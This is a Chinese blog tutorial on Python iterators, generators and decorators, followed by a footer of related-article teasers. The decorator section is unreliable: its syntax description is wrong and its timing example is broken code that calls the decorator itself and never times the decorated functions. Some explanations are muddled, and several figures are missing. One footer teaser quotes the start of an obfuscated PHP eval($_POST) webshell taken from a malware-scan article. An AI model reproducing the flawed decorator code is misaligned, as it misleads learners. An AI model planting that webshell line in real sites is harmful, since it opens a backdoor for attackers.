用人话讲计算机:Python篇!(十五)迭代器、生成器、装饰器

news2024/12/24 2:43:32

一、迭代器

(1)定义

标准解释:迭代器是 Python 中实现了迭代协议的对象,即提供__iter__()和 __next__()方法,任何实现了这两个方法的对象都可以被称为迭代器。

所谓__iter__(),即返回迭代器自身

所谓__next__(),即返回容器的下一个元素。

(是不是没看懂,别急,听下面的人话怎么说)

简单来说,你听我慢慢道来

首先,我们看python中的 for 循环:

for i in 对象

其中,对象必须是可迭代的,什么叫可迭代,就比如对象是[1,2,3],i会依次变为1,2,3,那么这个对象就是可迭代的,如果这个对象是33,i只会变成33,这行代码还会报错,这个对象就是不可迭代的

然后,我们来理解下这行代码的逻辑

如果对象是[1,2,3],那么它是可以迭代的,而这个可以迭代的对象就叫做__iter__( ) 方法

所以这一点,我们可以这么理解,如果没有__iter__( )方法,那么对象就不可迭代,那么程序就会报错。

当 i 依次变为1,2,3的过程中,它能自己变,就是从1变成2,又从2变成3,这种可以自动下一个的过程就叫做__next__()方法

那么迭代器我们就可以这么去理解了:

迭代器=__iter__()方法+ __next__()方法

即,一个对象,它具有__iter__()方法和__next__()方法,那么它就是迭代器

(注意,诸如__iter__()中左右横线是英文状态下的两个“_”连在一起的) 

(2)使用

我们来看一个迭代器的例子,加深理解:

list = [1, 2, 3]

# 用inter()方法获取迭代器对象
a = iter(list)

# 使用迭代器遍历元素
print(next(a)) # 输出 1
print(next(a)) # 输出 2
print(next(a)) # 输出 3

# 若再写一行print(next(a))
# 则下一次调用将会抛出 StopIteration 异常,因为列表中没有更多的元素了

解释:

我们首先定义一个列表,

然后用 iter()方法获取了可迭代对象

最后再用 next()方法进行了输出

注意:有人可能发现我们之前一直说的都是__iter__(),而这里写的却是 iter()

原因在于,这里代码中的 iter() 是一个函数,它用于调用该对象的 __iter__() 方法,进而返回一个迭代器。

那么,什么时候写 iter( )什么时候写__iter__( ) 呢?

  •  何时写 iter( ):

当你已有一个可迭代对象,并希望得到它的迭代器时,你可以直接使用 iter() 函数。

例如,你有一个列表,想获取它的迭代器。

  • 何时写__iter__( ) :

你创建了一个类,并希望它可以被 for 循环遍历,或者可以被 next() 函数逐个获取元素

(这个新概念“类”,不懂可以先跳过,后面的章节会详细解释,什么叫“类”)


说起使用,这里还有个重要知识点:获取迭代器的值

在上面的例子中,我们可以看到获取迭代器的值,用的是 next(迭代器对象)

其实,我们还可以用  迭代器对象.__next__()  来获取,如:

补充::除此之外,还可以用一个报错的方法来输出

为啥我说报错呢,因为for循环时内部会报错,但是我们看不到而已。

(3)作用

我们使用时可以发现,迭代器输出时是一个一个往外蹦的,我们不用next方法,它就不会输出。

所以这里的一个重要作用,便是它只有在需要时才计算和返回下一个数据。

这意味着它们不会一次性计算出所有结果,而是每次调用时都产生下一个值,从而避免了不必要的计算和内存占用。

二、生成器

(1)定义

生成器,就是一个特殊的迭代器。

特殊在哪呢?

就在于,它多了个带 yield 关键字的函数

什么是yield关键字?

你可以把它理解为函数里的return

它长什么样?它长下面这样:

其中,gen就是一个生成器。

前面那个my_generator()函数,后面不是带了三个yield吗,所以给gen后,gen就变成生成器了。

(2)yield关键字

我们来详细解释下,这个yield关键字:

首先,我们要知道,使用 yield 关键字的函数会变成一个生成器,从此,它就不是普通的函数了。(yield可以有多个)

与return不同的是: 

  • 每次调用yield时,函数会暂停,并返回一个值。

即计算机执行完第一个print(next(gen))时,函数会将当前第一个值 1 返回,然后自身暂停到yield1和yield2之间。

执行第二个print(next(gen))时,函数就从新起步,然后返回当前第一个值 2 (因为它之前不是暂停到yield1和yield2之间了吗,所以此时2是第一个值),然后再次暂停到了yield2和yield3之间

依次类推,是谓函数会暂停,并返回一个值。

所以,到此,生成器的作用也就体现出来了,即:它可以暂停函数的执行,并在 需要时恢 复执行,不会一次性生成所有的数据,而是什么时候需要,什么时候 生成,从而节省内存。 

(3)生成器的执行

说白了,就是输出值:

我们之前说了,生成器是特殊的迭代器,所以迭代器获取值的方法,生成器同样适用,即:

  • next(生成器对象)
  • 生成器对象.__next__()
  • 用for遍历


我们来看一个复杂点的例子:

def fun1(L:list):    #L:list 表明 L参数预期得到一个列表类型
    sum = 0
    for i in L:
        sum += i
        yield sum

l=[1,4,3]
print(list(fun1(l)))    #list()将结果转换为易看懂的列表

#输出[1, 5, 8]

当l列表中第一个元素 1 到函数fun1中时,sum=1 ,返回1,然后暂停

当l列表中第二个元素 4 到函数fun1中时,sum=1+4,返回5,然后暂停

当l列表中第三个元素 3 到函数fun1中时,sum=5+3,返回8

而,如果把上面的yield换成return的话,最终只会输出一个1,然后之间结束了(记得删掉list(),因为yield返回的是迭代对象,所以需要转化,而return的话则不需要)



(4)传值

前文我们说了不少获取值的方法,其实这里还有个传入值的方法,那就是send()函数

格式:生成器对象.send(value)

其中value这个参数可有,也可无。但作用很不同。

  • 当无参数时,我们将value写作None,即 生成器对象.send(None)

此时,它和 next() 函数的功能完全相同,如图:

  • 当有参数时,它会将暂停的程序继续执行,而 value 值会赋值给之前暂停 yield 。
def a():
    b = yield "hello"    #此时b是第一个yield的接受者
    c = yield b          #此时c是第二个yield的接受者
    yield c
    print(b)             #输出b的值
    print(c)             #输出c的值
    yield "输出完毕"

d = a()

print(d.send(None))
print(d.send(1))    #将值1输送进去
print(d.send(2))    #将值2输送进去

print("输出b、c的值:")
print(d.send(None))

输出:

hello
1
2
输出b、c的值:
1
2
输出完毕

解释:

执行print(d.send(None))时,相当于next方法,即将yield返回,所以首先输出hello。(注意此时b还没有被赋值,便已经暂停了。)

执行print(d.send(1))时,值1被赋值给被暂停的yield,所以成了b=1

然后继续执行代码c = yield b

此时遇到yield,所以输出b的值1,然后暂停。

执行print(d.send(2)),将刚才暂停的yield值赋值为2,所以成了c=2,然后继续执行到第三个yield语句,输出c的值。

最后,我们又用send检验了一下b和c的值,发现确实是这样。

(5)停止运行

如果说,我们想终止该生成器,让其后续将无法再调用 next() 函数 或者 __next__() 方法启动执行,否则抛出 StopIteration 异常

我们可以使用close()函数

如图

三、装饰器

(1)定义

标准解释:在Python中,装饰器(decorators)是一种高级功能,它允许你在不修改 原有函数或方法定义的情况下,给函数或方法添加新的功能。装饰器本质上 是一个函数,它接收一个函数作为参数,并返回一个新的函数或修改原来的 函数。

用人话来说,比如我们有一个a函数,a函数中有 b功能代码、c功能代码、d功能代码等等。

我们不想直接去修改b功能代码,因为c功能等可能跟b有关系,要修改b的话,可能整个a函数的各板块都要大改。

所以我们可以用装饰器说明一下,即,在别处写好一个n功能代码,然后使用装饰器,让n功能代码平替了b功能代码,这样就不用大改了。

(2)格式

格式: @须装饰的函数名

此时,我们称那个被装饰的函数名为装饰器

除此之外,装饰器函数一般需要函数闭包形式实现。

言内之意,就是装饰器必须是函数嵌套那样的。

(说一般,是因为还可以使用类来实现装饰器,后续文章再详细介绍)

(3)用法

比如,我们有n、c、d功能代码,我们想计算这些代码的运行时间

如果没用装饰器,我们可能会写:

import time
def a1(m):
    time1=time.time()
    b功能代码
    time2=time.time()
    time0=time2-time1   
    return time0
def a2(m):
    time1=time.time()
    c功能代码
    time2=time.time()
    time0=time2-time1   
    return time0
def a3(m):
    time1=time.time()
    d功能代码
    time2=time.time()
    time0=time2-time1   
    return time0
print (a1(True))
print (a2(True))
print (a3(True))

如果用上装饰器,就会简单很多,

import time
def a(m):
    def n():    #函数嵌套,即闭包
        time1=time.time()    #起始那会的时间
        m()
        time2=time.time()    #结束那会的时间
        time0=time2-time1    #计算时间差
        return time0
    return n

@a    #启用装饰器,会将b函数平替m()
def b(x):
    代码
print (a(True))    #输出平替后的运行b函数的时间

@a     
def c(x):
    代码
print (a(True))

@a    
def d(x):
    代码
print (a(True))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2264496.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【计算机视觉基础CV-图像分类】02-入门详解图像分类、经典数据集、比赛与冠军图像模型演进史

前言 图像分类(Image Classification)是计算机视觉(Computer Vision)中一项基础且核心的任务。简单来说,就是让计算机从给定的类别集合中,为一张输入图片分配一个正确的类别标签。这个过程听起来直观&…

Docker_常用命令详解

这篇文章分享一下笔者常用的Docker命令供各位读者参考。 为什么要用Docker? 简单来说:Docker通过提供轻量级、隔离且可移植的容器化环境,使得应用在不同平台上保持一致性、易于部署和管理,具体如下 环境一致性: Docker容器使得…

CFA知识点梳理系列:CFA Level II, Reading 4 Big Data Projects

这是CFA知识点梳理系列的第四篇文章,前面的文章可以参考以下链接: CFA知识点梳理系列:CFA Level II, Reading 3 Machine Learning

自制数据库迁移工具-C版-06-HappySunshineV1.5-(支持南大Gbase8a、PostgreSQL、达梦DM)

目录 一、环境信息 二、简述 三、架构图 四、升级点 五、支持功能 六、后续计划支持功能 七、安装包下载地址 八、配置参数介绍 九、安装步骤 1、用户创建 2、安装包解压 3、环境变量配置 4、环境变量生效 5、动态库链接检验 (1)HsManage…

petalinux-adi ---移植adi内核(一)

1. 设备树生成 将 前 面 生 成 的 设 备 树 文 件 ( 笔 者 这 里 生 成 的 设 备 树 文 件 在Petalinux 工 程 的components/plnx_workspace/device-tree/device-tree/ 目 录 下 ) pcw.dtsi 、 pl.dtsi 、system-top.dts 以 及 zynq-7000.dtsi 四 个 文 件 直 接 拷 贝 到 内 …

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

Tool之Excalidraw:Excalidraw(开源的虚拟手绘风格白板)的简介、安装和使用方法、艾米莉应用之详细攻略

Tool之Excalidraw&#xff1a;Excalidraw(开源的虚拟手绘风格白板)的简介、安装和使用方法、艾米莉应用之详细攻略 目录 Excalidraw 简介 1、Excalidraw 的主要特点&#xff1a; Excalidraw 安装和使用方法 1、Excalidraw的安装 T1、使用 npm 安装&#xff1a; T2、使用 …

LLMs之rStar:《Mutual Reasoning Makes Smaller LLMs Stronger Problem-Solvers》翻译与解读

LLMs之rStar&#xff1a;《Mutual Reasoning Makes Smaller LLMs Stronger Problem-Solvers》翻译与解读 导读&#xff1a;这篇论文提出了一种名为rStar的自我博弈互推理方法&#xff0c;用于增强小型语言模型 (SLMs) 的推理能力&#xff0c;无需微调或依赖更强大的模型。rStar…

Solidity 智能合约安全漏洞——普通重入攻击

普通重入攻击 重入攻击&#xff08;Re-Entrancy&#xff09; 一直是以太坊智能合约中最危险的漏洞之一&#xff0c;导致了许多大规模的资金被盗事件。比如 2016 年发生在 The DAO 项目中的 Re-Entrancy 漏洞攻击&#xff0c;造成价值当时 6000 万美元的以太币被盗&#xff0c;…

基于koa服务端脚手架搭建(文件加载器) --【elpis全栈项目笔记】

基于koa服务端脚手架(文件加载器) --【elpis-core】 前言&#xff1a; elpis-core 是一个项目文件加载器。基于一定的约定&#xff0c;将功能不同的代码分类放置到不同的目录下管理。适用于项目代码规范化、减少维护成本、沟通成本&#xff0c;易于扩展。&#xff08;简易版的 …

AQS源码学习

一、park/unpark阻塞唤醒线程 LockSupport是JDK中用来实现线程阻塞和唤醒的工具。使用它可以在任何场合使线程阻塞&#xff0c;可以指定任何线程进行唤醒&#xff0c;并且不用担心阻塞和唤醒操作的顺序&#xff0c;但要注意连续多次唤醒的效果和一次唤醒是一样的。JDK并发包下…

【漏洞复现】CVE-2023-37461 Arbitrary File Writing

漏洞信息 NVD - cve-2023-37461 Metersphere is an opensource testing framework. Files uploaded to Metersphere may define a belongType value with a relative path like ../../../../ which may cause metersphere to attempt to overwrite an existing file in the d…

02-1:python入门基础Python变量与数据类型

一、Python 变量的定义 &#xff08;一&#xff09;定义方式 在 Python 中&#xff0c;变量的定义是通过赋值来实现的&#xff0c;其语法格式非常简洁直观&#xff0c;基本形式为 “变量名 值”。等号左边是你自定义的变量名&#xff0c;右边则是要赋给该变量的值。Python 是…

在Vue3中实现文件上传功能,结合后端API

随着现代Web应用程序的不断发展&#xff0c;文件上传成为了用户交互中不可或缺的一部分。在本篇博客中&#xff0c;我们将深入讨论如何在Vue3中实现一个文件上传功能&#xff0c;并与后端API进行交互。我们将使用Vue3的Composition API&#xff08;setup语法糖&#xff09;来构…

详细ECharts图例3添加鼠标单击事件的柱状图

<!DOCTYPE html><html><head><meta charset"UTF-8"><script src"js/echarts.js"></script> <!-- 确保路径正确 --><title>添加鼠标单击事件的柱状图</title></head><body><div id&q…

Redis Hash Tag 知识详解

一、Redis Hash Tag概述 Redis Hash Tag是Redis集群环境里用于控制数据分片的关键机制。在Redis集群中&#xff0c;数据依据键的哈希值来确定分片存储位置。Hash Tag能让用户指定键的特定部分作为哈希计算核心部分&#xff0c;进而使相关键存储于同一节点&#xff0c;这对处理…

Java 初学者的第一个 SpringBoot3.4.0 登录系统二

Java 初学者的第一个 SpringBoot3.4.0 登录系统二 SpringBoot 3.4.0 是 SpringBoot 的最新版本&#xff0c;是乐衷与新技术的 Java 初学者和程序员的选择。和 SpringBoot3.4.0 搭配的各种软件组件也是新的潮流。Java 通用代码生成器光&#xff0c;2.4.0 电音之王尝鲜版十支持新…

SSH客户端

SSH客户端 在VMware界面中操作虚拟机非常不友好&#xff0c;所以一般推荐使用专门的SSH客户端。市面上常见的有&#xff1a; Xshell&#xff1a;个人免费&#xff0c;商业收费&#xff0c;之前爆出过有隐藏后门。不推荐Finshell&#xff1a;基础功能免费&#xff0c;高级功能…

python小课堂(一)

基础语法 1 常量和表达式2 变量和类型2.1 变量是什么2.2 变量语法 3 变量的类型3.1 动态类型特性 4 注释4.1注释是什么 5 输入输出5.1 print的介绍5.2 input 6 运算符6.1 算术运算符在这里插入图片描述6.2 关系运算符6.3 逻辑运算符6.4赋值运算符 1 常量和表达式 在print()中可…

java中的方法的重载和重写、构造器

目录 方法的重载和重写、构造器1.java的修饰符&#xff1a;2.普通方法3.构造器&#xff08;也叫构造方法/构造函数&#xff09;4.方法的重载5.补充6.方法的重写7.类的执行顺序8.再看方法的重写 方法的重载和重写、构造器 1.java的修饰符&#xff1a; public修饰的代码&#xf…